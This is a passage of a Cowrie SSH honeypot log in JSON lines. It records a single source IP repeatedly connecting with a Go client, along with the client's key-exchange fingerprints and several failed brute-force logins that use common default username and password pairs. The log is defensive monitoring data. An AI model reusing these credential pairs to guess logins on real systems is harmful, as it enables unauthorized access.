sa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:33:35.257982Z","src_ip":"192.109.200.78","session":"a0022c8a840a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"LeitboGi0ro","message":"login attempt [root/LeitboGi0ro] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:33:35.631615Z","src_ip":"192.109.200.78","session":"a0022c8a840a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:33:36.720501Z","src_ip":"192.109.200.78","session":"a0022c8a840a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42886,"dst_ip":"10.17.0.5","dst_port":22,"session":"68767cb745da","protocol":"ssh","message":"New connection: 192.109.200.78:42886 (10.17.0.5:22) [session: 68767cb745da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:33:39.446266Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:33:39.449936Z","src_ip":"192.109.200.78","session":"68767cb745da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:33:39.534132Z","src_ip":"192.109.200.78","session":"68767cb745da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"raaj","password":"raaj123","message":"login attempt [raaj/raaj123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:33:39.792490Z","src_ip":"192.109.200.78","session":"68767cb745da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:33:40.928637Z","src_ip":"192.109.200.78","session":"68767cb745da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42918,"dst_ip":"10.17.0.5","dst_port":22,"session":"5903b34bf8ce","protocol":"ssh","message":"New connection: 192.109.200.78:42918 (10.17.0.5:22) [session: 5903b34bf8ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:33:43.634519Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:33:43.724380Z","src_ip":"192.109.200.78","session":"5903b34bf8ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:33:43.727843Z","src_ip":"192.109.200.78","session":"5903b34bf8ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r","message":"login attempt [root/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:33:44.367893Z","src_ip":"192.109.200.78","session":"5903b34bf8ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:33:45.452297Z","src_ip":"192.109.200.78","session":"5903b34bf8ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42938,"dst_ip":"10.17.0.5","dst_port":22,"session":"04c1adaa908e","protocol":"ssh","message":"New connection: 192.109.200.78:42938 (10.17.0.5:22) [session: 04c1adaa908e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:33:47.823063Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:33:47.827038Z","src_ip":"192.109.200.78","session":"04c1adaa908e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:33:47.914863Z","src_ip":"192.109.200.78","session":"04c1adaa908e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cursor","password":"cursor","message":"login attempt [cursor/cursor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:33:48.166927Z","src_ip":"192.109.200.78","session":"04c1adaa908e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:33:49.348125Z","src_ip":"192.109.200.78","session":"04c1adaa908e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33692,"dst_ip":"10.17.0.5","dst_port":22,"session":"d6ef00db3ee8","protocol":"ssh","message":"New connection: 192.109.200.78:33692 (10.17.0.5:22) [session: d6ef00db3ee8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:33:51.901308Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:33:51.954713Z","src_ip":"192.109.200.78","session":"d6ef00db3ee8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:33:52.030294Z","src_ip":"192.109.200.78","session":"d6ef00db3ee8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"111111","message":"login attempt [user/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:33:52.320452Z","src_ip":"192.109.200.78","session":"d6ef00db3ee8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:33:53.408056Z","src_ip":"192.109.200.78","session":"d6ef00db3ee8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33696,"dst_ip":"10.17.0.5","dst_port":22,"session":"079edb1070b6","protocol":"ssh","message":"New connection: 192.109.200.78:33696 (10.17.0.5:22) [session: 079edb1070b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:33:56.119292Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:33:56.124426Z","src_ip":"192.109.200.78","session":"079edb1070b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:33:56.206604Z","src_ip":"192.109.200.78","session":"079edb1070b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"prefect","password":"prefect","message":"login attempt [prefect/prefect] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:33:56.461854Z","src_ip":"192.109.200.78","session":"079edb1070b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:33:57.547664Z","src_ip":"192.109.200.78","session":"079edb1070b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":41686,"dst_ip":"10.17.0.5","dst_port":22,"session":"c749e090cdc4","protocol":"ssh","message":"New connection: 192.109.200.78:41686 (10.17.0.5:22) [session: c749e090cdc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:34:00.154955Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:34:00.161452Z","src_ip":"192.109.200.78","session":"c749e090cdc4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:34:00.255899Z","src_ip":"192.109.200.78","session":"c749e090cdc4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"student123","message":"login attempt [student/student123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:34:00.837264Z","src_ip":"192.109.200.78","session":"c749e090cdc4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:34:01.929357Z","src_ip":"192.109.200.78","session":"c749e090cdc4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":41694,"dst_ip":"10.17.0.5","dst_port":22,"session":"01f87b8d7aeb","protocol":"ssh","message":"New connection: 192.109.200.78:41694 (10.17.0.5:22) [session: 01f87b8d7aeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:34:06.546941Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:34:06.560444Z","src_ip":"192.109.200.78","session":"01f87b8d7aeb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:34:06.632088Z","src_ip":"192.109.200.78","session":"01f87b8d7aeb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rdpuser","password":"123456","message":"login attempt [rdpuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:34:06.958312Z","src_ip":"192.109.200.78","session":"01f87b8d7aeb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:34:08.043072Z","src_ip":"192.109.200.78","session":"01f87b8d7aeb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":56792,"dst_ip":"10.17.0.5","dst_port":22,"session":"68f4e9d5b47a","protocol":"ssh","message":"New connection: 192.109.200.78:56792 (10.17.0.5:22) [session: 68f4e9d5b47a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:34:08.479720Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:34:08.486702Z","src_ip":"192.109.200.78","session":"68f4e9d5b47a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:34:08.566954Z","src_ip":"192.109.200.78","session":"68f4e9d5b47a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"123456","message":"login attempt [dmdba/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:34:08.965814Z","src_ip":"192.109.200.78","session":"68f4e9d5b47a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:34:10.051909Z","src_ip":"192.109.200.78","session":"68f4e9d5b47a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":56814,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a88284d7db9","protocol":"ssh","message":"New connection: 192.109.200.78:56814 (10.17.0.5:22) [session: 9a88284d7db9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:34:12.822280Z"}
